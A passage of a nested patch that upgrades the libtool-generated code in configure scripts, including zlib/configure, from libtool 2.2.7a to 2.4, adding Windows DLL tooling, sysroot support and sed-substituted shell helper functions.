-+ ;;
-+ esac
-+
-+ # DLL is installed to $(libdir)/../bin by postinstall_cmds
-+ postinstall_cmds='base_file=`basename \${file}`~
-+ dlpath=`$SHELL 2>&1 -c '\''. $dir/'\''\${base_file}'\''i; echo \$dlname'\''`~
-+ dldir=$destdir/`dirname \$dlpath`~
-+ test -d \$dldir || mkdir -p \$dldir~
-+ $install_prog $dir/$dlname \$dldir/$dlname'
-+ postuninstall_cmds='dldll=`$SHELL 2>&1 -c '\''. $file; echo \$dlname'\''`~
-+ dlpath=$dir/\$dldll~
-+ $RM \$dlpath'
-+ shlibpath_overrides_runpath=yes
-+ dynamic_linker='Win32 link.exe'
- ;;
-
- *)
-+ # Assume MSVC wrapper
- library_names_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext} $libname.lib'
-+ dynamic_linker='Win32 ld.exe'
- ;;
- esac
-- dynamic_linker='Win32 ld.exe'
- # FIXME: first we should search . and the directory the executable is in
- shlibpath_var=PATH
- ;;
-@@ -10643,7 +11298,7 @@ haiku*)
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LIBRARY_PATH
- shlibpath_overrides_runpath=yes
-- sys_lib_dlsearch_path_spec='/boot/home/config/lib /boot/common/lib /boot/beos/system/lib'
-+ sys_lib_dlsearch_path_spec='/boot/home/config/lib /boot/common/lib /boot/system/lib'
- hardcode_into_libs=yes
- ;;
-
-@@ -11439,7 +12094,7 @@ else
- lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
- lt_status=$lt_dlunknown
- cat > conftest.$ac_ext <<_LT_EOF
--#line 11442 "configure"
-+#line $LINENO "configure"
- #include "confdefs.h"
-
- #if HAVE_DLFCN_H
-@@ -11483,10 +12138,10 @@ else
- /* When -fvisbility=hidden is used, assume the code has been annotated
- correspondingly for the symbols needed. */
- #if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
--void fnord () __attribute__((visibility("default")));
-+int fnord () __attribute__((visibility("default")));
- #endif
-
--void fnord () { int i=42; }
-+int fnord () { return 42; }
- int main ()
- {
- void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
-@@ -11545,7 +12200,7 @@ else
- lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
- lt_status=$lt_dlunknown
- cat > conftest.$ac_ext <<_LT_EOF
--#line 11548 "configure"
-+#line $LINENO "configure"
- #include "confdefs.h"
-
- #if HAVE_DLFCN_H
-@@ -11589,10 +12244,10 @@ else
- /* When -fvisbility=hidden is used, assume the code has been annotated
- correspondingly for the symbols needed. */
- #if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
--void fnord () __attribute__((visibility("default")));
-+int fnord () __attribute__((visibility("default")));
- #endif
-
--void fnord () { int i=42; }
-+int fnord () { return 42; }
- int main ()
- {
- void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
-@@ -13756,13 +14411,20 @@ exeext='`$ECHO "$exeext" | $SED "$delay_single_quote_subst"`'
- lt_unset='`$ECHO "$lt_unset" | $SED "$delay_single_quote_subst"`'
- lt_SP2NL='`$ECHO "$lt_SP2NL" | $SED "$delay_single_quote_subst"`'
- lt_NL2SP='`$ECHO "$lt_NL2SP" | $SED "$delay_single_quote_subst"`'
-+lt_cv_to_host_file_cmd='`$ECHO "$lt_cv_to_host_file_cmd" | $SED "$delay_single_quote_subst"`'
-+lt_cv_to_tool_file_cmd='`$ECHO "$lt_cv_to_tool_file_cmd" | $SED "$delay_single_quote_subst"`'
- reload_flag='`$ECHO "$reload_flag" | $SED "$delay_single_quote_subst"`'
- reload_cmds='`$ECHO "$reload_cmds" | $SED "$delay_single_quote_subst"`'
- OBJDUMP='`$ECHO "$OBJDUMP" | $SED "$delay_single_quote_subst"`'
- deplibs_check_method='`$ECHO "$deplibs_check_method" | $SED "$delay_single_quote_subst"`'
- file_magic_cmd='`$ECHO "$file_magic_cmd" | $SED "$delay_single_quote_subst"`'
-+file_magic_glob='`$ECHO "$file_magic_glob" | $SED "$delay_single_quote_subst"`'
-+want_nocaseglob='`$ECHO "$want_nocaseglob" | $SED "$delay_single_quote_subst"`'
-+DLLTOOL='`$ECHO "$DLLTOOL" | $SED "$delay_single_quote_subst"`'
-+sharedlib_from_linklib_cmd='`$ECHO "$sharedlib_from_linklib_cmd" | $SED "$delay_single_quote_subst"`'
- AR='`$ECHO "$AR" | $SED "$delay_single_quote_subst"`'
- AR_FLAGS='`$ECHO "$AR_FLAGS" | $SED "$delay_single_quote_subst"`'
-+archiver_list_spec='`$ECHO "$archiver_list_spec" | $SED "$delay_single_quote_subst"`'
- STRIP='`$ECHO "$STRIP" | $SED "$delay_single_quote_subst"`'
- RANLIB='`$ECHO "$RANLIB" | $SED "$delay_single_quote_subst"`'
- old_postinstall_cmds='`$ECHO "$old_postinstall_cmds" | $SED "$delay_single_quote_subst"`'
-@@ -13777,14 +14439,17 @@ lt_cv_sys_global_symbol_pipe='`$ECHO "$lt_cv_sys_global_symbol_pipe" | $SED "$de
- lt_cv_sys_global_symbol_to_cdecl='`$ECHO "$lt_cv_sys_global_symbol_to_cdecl" | $SED "$delay_single_quote_subst"`'
- lt_cv_sys_global_symbol_to_c_name_address='`$ECHO "$lt_cv_sys_global_symbol_to_c_name_address" | $SED "$delay_single_quote_subst"`'
- lt_cv_sys_global_symbol_to_c_name_address_lib_prefix='`$ECHO "$lt_cv_sys_global_symbol_to_c_name_address_lib_prefix" | $SED "$delay_single_quote_subst"`'
-+nm_file_list_spec='`$ECHO "$nm_file_list_spec" | $SED "$delay_single_quote_subst"`'
-+lt_sysroot='`$ECHO "$lt_sysroot" | $SED "$delay_single_quote_subst"`'
- objdir='`$ECHO "$objdir" | $SED "$delay_single_quote_subst"`'
- MAGIC_CMD='`$ECHO "$MAGIC_CMD" | $SED "$delay_single_quote_subst"`'
- lt_prog_compiler_no_builtin_flag='`$ECHO "$lt_prog_compiler_no_builtin_flag" | $SED "$delay_single_quote_subst"`'
--lt_prog_compiler_wl='`$ECHO "$lt_prog_compiler_wl" | $SED "$delay_single_quote_subst"`'
- lt_prog_compiler_pic='`$ECHO "$lt_prog_compiler_pic" | $SED "$delay_single_quote_subst"`'
-+lt_prog_compiler_wl='`$ECHO "$lt_prog_compiler_wl" | $SED "$delay_single_quote_subst"`'
- lt_prog_compiler_static='`$ECHO "$lt_prog_compiler_static" | $SED "$delay_single_quote_subst"`'
- lt_cv_prog_compiler_c_o='`$ECHO "$lt_cv_prog_compiler_c_o" | $SED "$delay_single_quote_subst"`'
- need_locks='`$ECHO "$need_locks" | $SED "$delay_single_quote_subst"`'
-+MANIFEST_TOOL='`$ECHO "$MANIFEST_TOOL" | $SED "$delay_single_quote_subst"`'
- DSYMUTIL='`$ECHO "$DSYMUTIL" | $SED "$delay_single_quote_subst"`'
- NMEDIT='`$ECHO "$NMEDIT" | $SED "$delay_single_quote_subst"`'
- LIPO='`$ECHO "$LIPO" | $SED "$delay_single_quote_subst"`'
-@@ -13817,12 +14482,12 @@ hardcode_shlibpath_var='`$ECHO "$hardcode_shlibpath_var" | $SED "$delay_single_q
- hardcode_automatic='`$ECHO "$hardcode_automatic" | $SED "$delay_single_quote_subst"`'
- inherit_rpath='`$ECHO "$inherit_rpath" | $SED "$delay_single_quote_subst"`'
- link_all_deplibs='`$ECHO "$link_all_deplibs" | $SED "$delay_single_quote_subst"`'
--fix_srcfile_path='`$ECHO "$fix_srcfile_path" | $SED "$delay_single_quote_subst"`'
- always_export_symbols='`$ECHO "$always_export_symbols" | $SED "$delay_single_quote_subst"`'
- export_symbols_cmds='`$ECHO "$export_symbols_cmds" | $SED "$delay_single_quote_subst"`'
- exclude_expsyms='`$ECHO "$exclude_expsyms" | $SED "$delay_single_quote_subst"`'
- include_expsyms='`$ECHO "$include_expsyms" | $SED "$delay_single_quote_subst"`'
- prelink_cmds='`$ECHO "$prelink_cmds" | $SED "$delay_single_quote_subst"`'
-+postlink_cmds='`$ECHO "$postlink_cmds" | $SED "$delay_single_quote_subst"`'
- file_list_spec='`$ECHO "$file_list_spec" | $SED "$delay_single_quote_subst"`'
- variables_saved_for_relink='`$ECHO "$variables_saved_for_relink" | $SED "$delay_single_quote_subst"`'
- need_lib_prefix='`$ECHO "$need_lib_prefix" | $SED "$delay_single_quote_subst"`'
-@@ -13877,8 +14542,13 @@ reload_flag \
- OBJDUMP \
- deplibs_check_method \
- file_magic_cmd \
-+file_magic_glob \
-+want_nocaseglob \
-+DLLTOOL \
-+sharedlib_from_linklib_cmd \
- AR \
- AR_FLAGS \
-+archiver_list_spec \
- STRIP \
- RANLIB \
- CC \
-@@ -13888,12 +14558,14 @@ lt_cv_sys_global_symbol_pipe \
- lt_cv_sys_global_symbol_to_cdecl \
- lt_cv_sys_global_symbol_to_c_name_address \
- lt_cv_sys_global_symbol_to_c_name_address_lib_prefix \
-+nm_file_list_spec \
- lt_prog_compiler_no_builtin_flag \
--lt_prog_compiler_wl \
- lt_prog_compiler_pic \
-+lt_prog_compiler_wl \
- lt_prog_compiler_static \
- lt_cv_prog_compiler_c_o \
- need_locks \
-+MANIFEST_TOOL \
- DSYMUTIL \
- NMEDIT \
- LIPO \
-@@ -13909,7 +14581,6 @@ no_undefined_flag \
- hardcode_libdir_flag_spec \
- hardcode_libdir_flag_spec_ld \
- hardcode_libdir_separator \
--fix_srcfile_path \
- exclude_expsyms \
- include_expsyms \
- file_list_spec \
-@@ -13945,6 +14616,7 @@ module_cmds \
- module_expsym_cmds \
- export_symbols_cmds \
- prelink_cmds \
-+postlink_cmds \
- postinstall_cmds \
- postuninstall_cmds \
- finish_cmds \
-@@ -14710,7 +15382,8 @@ $as_echo X"$file" |
- # NOTE: Changes made to this file will be lost: look at ltmain.sh.
- #
- # Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2003, 2004, 2005,
--# 2006, 2007, 2008, 2009 Free Software Foundation, Inc.
-+# 2006, 2007, 2008, 2009, 2010 Free Software Foundation,
-+# Inc.
- # Written by Gordon Matzigkeit, 1996
- #
- # This file is part of GNU Libtool.
-@@ -14813,19 +15486,42 @@ SP2NL=$lt_lt_SP2NL
- # turn newlines into spaces.
- NL2SP=$lt_lt_NL2SP
-
-+# convert \$build file names to \$host format.
-+to_host_file_cmd=$lt_cv_to_host_file_cmd
-+
-+# convert \$build files to toolchain format.
-+to_tool_file_cmd=$lt_cv_to_tool_file_cmd
-+
- # An object symbol dumper.
- OBJDUMP=$lt_OBJDUMP
-
- # Method to check whether dependent libraries are shared objects.
- deplibs_check_method=$lt_deplibs_check_method
-
--# Command to use when deplibs_check_method == "file_magic".
-+# Command to use when deplibs_check_method = "file_magic".
- file_magic_cmd=$lt_file_magic_cmd
-
-+# How to find potential files when deplibs_check_method = "file_magic".
-+file_magic_glob=$lt_file_magic_glob
-+
-+# Find potential files using nocaseglob when deplibs_check_method = "file_magic".
-+want_nocaseglob=$lt_want_nocaseglob
-+
-+# DLL creation program.
-+DLLTOOL=$lt_DLLTOOL
-+
-+# Command to associate shared and link libraries.
-+sharedlib_from_linklib_cmd=$lt_sharedlib_from_linklib_cmd
-+
- # The archiver.
- AR=$lt_AR
-+
-+# Flags to create an archive.
- AR_FLAGS=$lt_AR_FLAGS
-
-+# How to feed a file listing to the archiver.
-+archiver_list_spec=$lt_archiver_list_spec
-+
- # A symbol stripping program.
- STRIP=$lt_STRIP
-
-@@ -14855,6 +15551,12 @@ global_symbol_to_c_name_address=$lt_lt_cv_sys_global_symbol_to_c_name_address
- # Transform the output of nm in a C name address pair when lib prefix is needed.
- global_symbol_to_c_name_address_lib_prefix=$lt_lt_cv_sys_global_symbol_to_c_name_address_lib_prefix
-
-+# Specify filename containing input files for \$NM.
-+nm_file_list_spec=$lt_nm_file_list_spec
-+
-+# The root where to search for dependent libraries,and in which our libraries should be installed.
-+lt_sysroot=$lt_sysroot
-+
- # The name of the directory that contains temporary libtool files.
- objdir=$objdir
-
-@@ -14864,6 +15566,9 @@ MAGIC_CMD=$MAGIC_CMD
- # Must we lock files when doing compilation?
- need_locks=$lt_need_locks
-
-+# Manifest tool.
-+MANIFEST_TOOL=$lt_MANIFEST_TOOL
-+
- # Tool to manipulate archived DWARF debug symbol files on Mac OS X.
- DSYMUTIL=$lt_DSYMUTIL
-
-@@ -14978,12 +15683,12 @@ with_gcc=$GCC
- # Compiler flag to turn off builtin functions.
- no_builtin_flag=$lt_lt_prog_compiler_no_builtin_flag
-
--# How to pass a linker flag through the compiler.
--wl=$lt_lt_prog_compiler_wl
--
- # Additional compiler flags for building library objects.
- pic_flag=$lt_lt_prog_compiler_pic
-
-+# How to pass a linker flag through the compiler.
-+wl=$lt_lt_prog_compiler_wl
-+
- # Compiler flag to prevent dynamic linking.
- link_static_flag=$lt_lt_prog_compiler_static
-
-@@ -15070,9 +15775,6 @@ inherit_rpath=$inherit_rpath
- # Whether libtool must link a program against all its dependency libraries.
- link_all_deplibs=$link_all_deplibs
-
--# Fix the shell variable \$srcfile for the compiler.
--fix_srcfile_path=$lt_fix_srcfile_path
--
- # Set to "yes" if exported symbols are required.
- always_export_symbols=$always_export_symbols
-
-@@ -15088,6 +15790,9 @@ include_expsyms=$lt_include_expsyms
- # Commands necessary for linking programs (against libraries) with templates.
- prelink_cmds=$lt_prelink_cmds
-
-+# Commands necessary for finishing linking programs.
-+postlink_cmds=$lt_postlink_cmds
-+
- # Specify filename containing input files.
- file_list_spec=$lt_file_list_spec
-
-@@ -15120,210 +15825,169 @@ ltmain="$ac_aux_dir/ltmain.sh"
- # if finds mixed CR/LF and LF-only lines. Since sed operates in
- # text mode, it properly converts lines to CR/LF. This bash problem
- # is reportedly fixed, but why not run on old versions too?
-- sed '/^# Generated shell functions inserted here/q' "$ltmain" >> "$cfgfile" \
-- || (rm -f "$cfgfile"; exit 1)
--
-- case $xsi_shell in
-- yes)
-- cat << \_LT_EOF >> "$cfgfile"
--
--# func_dirname file append nondir_replacement
--# Compute the dirname of FILE. If nonempty, add APPEND to the result,
--# otherwise set result to NONDIR_REPLACEMENT.
--func_dirname ()
--{
-- case ${1} in
-- */*) func_dirname_result="${1%/*}${2}" ;;
-- * ) func_dirname_result="${3}" ;;
-- esac
--}
--
--# func_basename file
--func_basename ()
--{
-- func_basename_result="${1##*/}"
--}
--
--# func_dirname_and_basename file append nondir_replacement
--# perform func_basename and func_dirname in a single function
--# call:
--# dirname: Compute the dirname of FILE. If nonempty,
--# add APPEND to the result, otherwise set result
--# to NONDIR_REPLACEMENT.
--# value returned in "$func_dirname_result"
--# basename: Compute filename of FILE.
--# value retuned in "$func_basename_result"
--# Implementation must be kept synchronized with func_dirname
--# and func_basename. For efficiency, we do not delegate to
--# those functions but instead duplicate the functionality here.
--func_dirname_and_basename ()
--{
-- case ${1} in
-- */*) func_dirname_result="${1%/*}${2}" ;;
-- * ) func_dirname_result="${3}" ;;
-- esac
-- func_basename_result="${1##*/}"
--}
--
--# func_stripname prefix suffix name
--# strip PREFIX and SUFFIX off of NAME.
--# PREFIX and SUFFIX must not contain globbing or regex special
--# characters, hashes, percent signs, but SUFFIX may contain a leading
--# dot (in which case that matches only a dot).
--func_stripname ()
--{
-- # pdksh 5.2.14 does not do ${X%$Y} correctly if both X and Y are
-- # positional parameters, so assign one to ordinary parameter first.
-- func_stripname_result=${3}
-- func_stripname_result=${func_stripname_result#"${1}"}
-- func_stripname_result=${func_stripname_result%"${2}"}
--}
--
--# func_opt_split
--func_opt_split ()
--{
-- func_opt_split_opt=${1%%=*}
-- func_opt_split_arg=${1#*=}
--}
--
--# func_lo2o object
--func_lo2o ()
--{
-- case ${1} in
-- *.lo) func_lo2o_result=${1%.lo}.${objext} ;;
-- *) func_lo2o_result=${1} ;;
-- esac
--}
--
--# func_xform libobj-or-source
--func_xform ()
--{
-- func_xform_result=${1%.*}.lo
--}
--
--# func_arith arithmetic-term...
--func_arith ()
--{
-- func_arith_result=$(( $* ))
--}
--
--# func_len string
--# STRING may not start with a hyphen.
--func_len ()
--{
-- func_len_result=${#1}
--}
--
--_LT_EOF
-- ;;
-- *) # Bourne compatible functions.
-- cat << \_LT_EOF >> "$cfgfile"
--
--# func_dirname file append nondir_replacement
--# Compute the dirname of FILE. If nonempty, add APPEND to the result,
--# otherwise set result to NONDIR_REPLACEMENT.
--func_dirname ()
--{
-- # Extract subdirectory from the argument.
-- func_dirname_result=`$ECHO "${1}" | $SED "$dirname"`
-- if test "X$func_dirname_result" = "X${1}"; then
-- func_dirname_result="${3}"
-- else
-- func_dirname_result="$func_dirname_result${2}"
-- fi
--}
--
--# func_basename file
--func_basename ()
--{
-- func_basename_result=`$ECHO "${1}" | $SED "$basename"`
--}
--
--
--# func_stripname prefix suffix name
--# strip PREFIX and SUFFIX off of NAME.
--# PREFIX and SUFFIX must not contain globbing or regex special
--# characters, hashes, percent signs, but SUFFIX may contain a leading
--# dot (in which case that matches only a dot).
--# func_strip_suffix prefix name
--func_stripname ()
--{
-- case ${2} in
-- .*) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%\\\\${2}\$%%"`;;
-- *) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%${2}\$%%"`;;
-- esac
--}
--
--# sed scripts:
--my_sed_long_opt='1s/^\(-[^=]*\)=.*/\1/;q'
--my_sed_long_arg='1s/^-[^=]*=//'
--
--# func_opt_split
--func_opt_split ()
--{
-- func_opt_split_opt=`$ECHO "${1}" | $SED "$my_sed_long_opt"`
-- func_opt_split_arg=`$ECHO "${1}" | $SED "$my_sed_long_arg"`
--}
--
--# func_lo2o object
--func_lo2o ()
--{
-- func_lo2o_result=`$ECHO "${1}" | $SED "$lo2o"`
--}
--
--# func_xform libobj-or-source
--func_xform ()
--{
-- func_xform_result=`$ECHO "${1}" | $SED 's/\.[^.]*$/.lo/'`
--}
--
--# func_arith arithmetic-term...
--func_arith ()
--{
-- func_arith_result=`expr "$@"`
--}
--
--# func_len string
--# STRING may not start with a hyphen.
--func_len ()
--{
-- func_len_result=`expr "$1" : ".*" 2>/dev/null || echo $max_cmd_len`
--}
--
--_LT_EOF
--esac
--
--case $lt_shell_append in
-- yes)
-- cat << \_LT_EOF >> "$cfgfile"
--
--# func_append var value
--# Append VALUE to the end of shell variable VAR.
--func_append ()
--{
-- eval "$1+=\$2"
--}
--_LT_EOF
-- ;;
-- *)
-- cat << \_LT_EOF >> "$cfgfile"
--
--# func_append var value
--# Append VALUE to the end of shell variable VAR.
--func_append ()
--{
-- eval "$1=\$$1\$2"
--}
--
--_LT_EOF
-- ;;
-- esac
--
--
-- sed -n '/^# Generated shell functions inserted here/,$p' "$ltmain" >> "$cfgfile" \
-- || (rm -f "$cfgfile"; exit 1)
--
-- mv -f "$cfgfile" "$ofile" ||
-+ sed '$q' "$ltmain" >> "$cfgfile" \
-+ || (rm -f "$cfgfile"; exit 1)
-+
-+ if test x"$xsi_shell" = xyes; then
-+ sed -e '/^func_dirname ()$/,/^} # func_dirname /c\
-+func_dirname ()\
-+{\
-+\ case ${1} in\
-+\ */*) func_dirname_result="${1%/*}${2}" ;;\
-+\ * ) func_dirname_result="${3}" ;;\
-+\ esac\
-+} # Extended-shell func_dirname implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_basename ()$/,/^} # func_basename /c\
-+func_basename ()\
-+{\
-+\ func_basename_result="${1##*/}"\
-+} # Extended-shell func_basename implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_dirname_and_basename ()$/,/^} # func_dirname_and_basename /c\
-+func_dirname_and_basename ()\
-+{\
-+\ case ${1} in\
-+\ */*) func_dirname_result="${1%/*}${2}" ;;\
-+\ * ) func_dirname_result="${3}" ;;\
-+\ esac\
-+\ func_basename_result="${1##*/}"\
-+} # Extended-shell func_dirname_and_basename implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_stripname ()$/,/^} # func_stripname /c\
-+func_stripname ()\
-+{\
-+\ # pdksh 5.2.14 does not do ${X%$Y} correctly if both X and Y are\
-+\ # positional parameters, so assign one to ordinary parameter first.\
-+\ func_stripname_result=${3}\
-+\ func_stripname_result=${func_stripname_result#"${1}"}\
-+\ func_stripname_result=${func_stripname_result%"${2}"}\
-+} # Extended-shell func_stripname implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_split_long_opt ()$/,/^} # func_split_long_opt /c\
-+func_split_long_opt ()\
-+{\
-+\ func_split_long_opt_name=${1%%=*}\
-+\ func_split_long_opt_arg=${1#*=}\
-+} # Extended-shell func_split_long_opt implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_split_short_opt ()$/,/^} # func_split_short_opt /c\
-+func_split_short_opt ()\
-+{\
-+\ func_split_short_opt_arg=${1#??}\
-+\ func_split_short_opt_name=${1%"$func_split_short_opt_arg"}\
-+} # Extended-shell func_split_short_opt implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_lo2o ()$/,/^} # func_lo2o /c\
-+func_lo2o ()\
-+{\
-+\ case ${1} in\
-+\ *.lo) func_lo2o_result=${1%.lo}.${objext} ;;\
-+\ *) func_lo2o_result=${1} ;;\
-+\ esac\
-+} # Extended-shell func_lo2o implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_xform ()$/,/^} # func_xform /c\
-+func_xform ()\
-+{\
-+ func_xform_result=${1%.*}.lo\
-+} # Extended-shell func_xform implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_arith ()$/,/^} # func_arith /c\
-+func_arith ()\
-+{\
-+ func_arith_result=$(( $* ))\
-+} # Extended-shell func_arith implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_len ()$/,/^} # func_len /c\
-+func_len ()\
-+{\
-+ func_len_result=${#1}\
-+} # Extended-shell func_len implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+fi
-+
-+if test x"$lt_shell_append" = xyes; then
-+ sed -e '/^func_append ()$/,/^} # func_append /c\
-+func_append ()\
-+{\
-+ eval "${1}+=\\${2}"\
-+} # Extended-shell func_append implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_append_quoted ()$/,/^} # func_append_quoted /c\
-+func_append_quoted ()\
-+{\
-+\ func_quote_for_eval "${2}"\
-+\ eval "${1}+=\\\\ \\$func_quote_for_eval_result"\
-+} # Extended-shell func_append_quoted implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ # Save a `func_append' function call where possible by direct use of '+='
-+ sed -e 's%func_append \([a-zA-Z_]\{1,\}\) "%\1+="%g' $cfgfile > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+ test 0 -eq $? || _lt_function_replace_fail=:
-+else
-+ # Save a `func_append' function call even when '+=' is not available
-+ sed -e 's%func_append \([a-zA-Z_]\{1,\}\) "%\1="$\1%g' $cfgfile > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+ test 0 -eq $? || _lt_function_replace_fail=:
-+fi
-+
-+if test x"$_lt_function_replace_fail" = x":"; then
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Unable to substitute extended shell functions in $ofile" >&5
-+$as_echo "$as_me: WARNING: Unable to substitute extended shell functions in $ofile" >&2;}
-+fi
-+
-+
-+ mv -f "$cfgfile" "$ofile" ||
- (rm -f "$ofile" && cp "$cfgfile" "$ofile" && rm -f "$cfgfile")
- chmod +x "$ofile"
-
-diff --git a/zlib/configure b/zlib/configure
-index de6fa7e9960..cce448b6a53 100755
---- a/zlib/configure
-+++ b/zlib/configure
-@@ -646,8 +646,11 @@ OTOOL
- LIPO
- NMEDIT
- DSYMUTIL
-+MANIFEST_TOOL
- RANLIB
-+ac_ct_AR
- AR
-+DLLTOOL
- OBJDUMP
- LN_S
- NM
-@@ -774,6 +777,7 @@ enable_static
- with_pic
- enable_fast_install
- with_gnu_ld
-+with_libtool_sysroot
- enable_libtool_lock
- enable_host_shared
- '
-@@ -1428,6 +1432,8 @@ Optional Packages:
- --with-pic try to use only PIC/non-PIC objects [default=use
- both]
- --with-gnu-ld assume the C compiler uses GNU ld [default=no]
-+ --with-libtool-sysroot=DIR Search for dependent libraries within DIR
-+ (or the compiler's sysroot if not specified).
-
- Some influential environment variables:
- CC C compiler command
-@@ -4147,8 +4153,8 @@ esac
-
-
-
--macro_version='2.2.7a'
--macro_revision='1.3134'
-+macro_version='2.4'
-+macro_revision='1.3293'
-
-
-
-@@ -4188,7 +4194,7 @@ ECHO=$ECHO$ECHO$ECHO$ECHO$ECHO$ECHO
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking how to print strings" >&5
- $as_echo_n "checking how to print strings... " >&6; }
- # Test print first, because it will be a builtin if present.
--if test "X`print -r -- -n 2>/dev/null`" = X-n && \
-+if test "X`( print -r -- -n ) 2>/dev/null`" = X-n && \
- test "X`print -r -- $ECHO 2>/dev/null`" = "X$ECHO"; then
- ECHO='print -r --'
- elif test "X`printf %s $ECHO 2>/dev/null`" = "X$ECHO"; then
-@@ -5004,8 +5010,8 @@ $as_echo_n "checking whether the shell understands some XSI constructs... " >&6;
- # Try some XSI features
- xsi_shell=no
- ( _lt_dummy="a/b/c"
-- test "${_lt_dummy##*/},${_lt_dummy%/*},"${_lt_dummy%"$_lt_dummy"}, \
-- = c,a/b,, \
-+ test "${_lt_dummy##*/},${_lt_dummy%/*},${_lt_dummy#??}"${_lt_dummy%"$_lt_dummy"}, \
-+ = c,a/b,b/c, \
- && eval 'test $(( 1 + 1 )) -eq 2 \
- && test "${#_lt_dummy}" -eq 5' ) >/dev/null 2>&1 \
- && xsi_shell=yes
-@@ -5054,6 +5060,80 @@ esac
-
-
-
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to convert $build file names to $host format" >&5
-+$as_echo_n "checking how to convert $build file names to $host format... " >&6; }
-+if ${lt_cv_to_host_file_cmd+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ case $host in
-+ *-*-mingw* )
-+ case $build in
-+ *-*-mingw* ) # actually msys
-+ lt_cv_to_host_file_cmd=func_convert_file_msys_to_w32
-+ ;;
-+ *-*-cygwin* )
-+ lt_cv_to_host_file_cmd=func_convert_file_cygwin_to_w32
-+ ;;
-+ * ) # otherwise, assume *nix
-+ lt_cv_to_host_file_cmd=func_convert_file_nix_to_w32
-+ ;;
-+ esac
-+ ;;
-+ *-*-cygwin* )
-+ case $build in
-+ *-*-mingw* ) # actually msys
